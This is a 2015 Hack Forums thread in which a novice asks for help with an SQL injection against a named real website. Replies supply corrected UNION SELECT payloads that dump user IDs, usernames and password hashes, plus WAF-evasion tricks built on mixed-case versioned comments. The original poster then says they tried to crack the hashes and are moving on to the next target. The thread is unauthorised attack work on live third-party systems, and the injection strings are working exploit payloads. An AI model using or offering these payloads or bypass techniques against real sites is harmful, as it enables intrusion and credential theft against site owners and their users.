

Forum:[Hack Forums](#)

Thread: [Assistance required with SQLi.](#)

Viktory - January 11, 2015, 6:36 am

So close yet so far..

I found a vulnerable website via SQLi hunter, and set out to exploit it.

I'm stuck in what I believe is a WAF block, and the workaround doesn't work.

```
Code nightgallery.ca/event.php?id=-91 /*!UNION*/ /*!SELECT*/
1,Group_Concat(ID,USERNAME,HASHED_PASSWORD,USER_LEVEL),3,4,5,6,7,8,9,10,11,12,13,
14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 FROM NIGHTGALLERY20.NG_USERS--
"Database Query Failed SELECT command denied to user 'nightgallery20'@'72.167.232.44' for
table 'NG_USERS'"
```

This is my first time attempting SQLi. What can I do to bypass this?

Also can someone please link a beginner-friendly vulnerability I can practice on?

themastersinner - January 11, 2015, 6:51 am

```
Code http://nightgallery.ca/event.php?id=-91 /*!UNION*/ /*!SELECT*/
1,Group_Concat(ID,USERNAME,HASHED_PASSWORD,USER_LEVEL),3,4,5,6,7,8,9,10,11,12,13,
14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 FROM nightgallery20.ng_users --
or just:
```

```
Code http://nightgallery.ca/event.php?id=-91 UNION SELECT
1,Group_Concat(ID,USERNAME,HASHED_PASSWORD,USER_LEVEL),3,4,5,6,7,8,9,10,11,12,13,
14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 FROM nightgallery20.ng_users --
```

I would practice on this site first:

Code <http://leetime.net/sqlninja.com/index.php>

Viktory - January 11, 2015, 7:00 am

Thank you so much!! I'm back on track. :)

FloodSys - January 11, 2015, 11:24 am

(Jan 11, 2015 07:36 AM)Viktory Wrote: [CITE](#) So close yet so far..

I found a vulnerable website via SQLi hunter, and set out to exploit it.

I'm stuck in what I believe is a WAF block, and the workaround doesn't work.

```
Code nightgallery.ca/event.php?id=-91 /*!UNION*/ /*!SELECT*/
1,Group_Concat(ID,USERNAME,HASHED_PASSWORD,USER_LEVEL),3,4,5,6,7,8,9,10,11,12,13,
14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 FROM NIGHTGALLERY20.NG_USERS--
"Database Query Failed SELECT command denied to user 'nightgallery20'@'72.167.232.44' for
table 'NG_USERS'"
```

This is my first time attempting SQLi. What can I do to bypass this?

Also can someone please link a beginner-friendly vulnerability I can practice on?

What tool do you use? sqlmap?

gyazo.com/c5de1a4d7c78c496dcde308983707288

Viktory - January 11, 2015, 9:42 pm

What is that? I used my browser.

Looks like their passwords are hashed and I'm unable to crack them so I guess I'm moving on to the next one.

Frosteh - January 12, 2015, 4:51 am

Looks just like a case sensitivity issue, depending on whether it's hosted on Win/Linux can change if case sensitivity on tables is a problem or not. I believe in Linux it is case sensitive, in Windows it's not.

If you're looking to practice then SirInjectALot has a site full of vulnerable sites at injectalot.cf

I have details tutorials on injection at my blog in my sig.

hahdbwoannniabs - January 12, 2015, 7:07 pm

`/*!50000UnIoN*/+/*!50000SeIEcT*/` usually does the trick. The website obviously has a WAF in place so you'll have to bypass it by obfuscating your queries.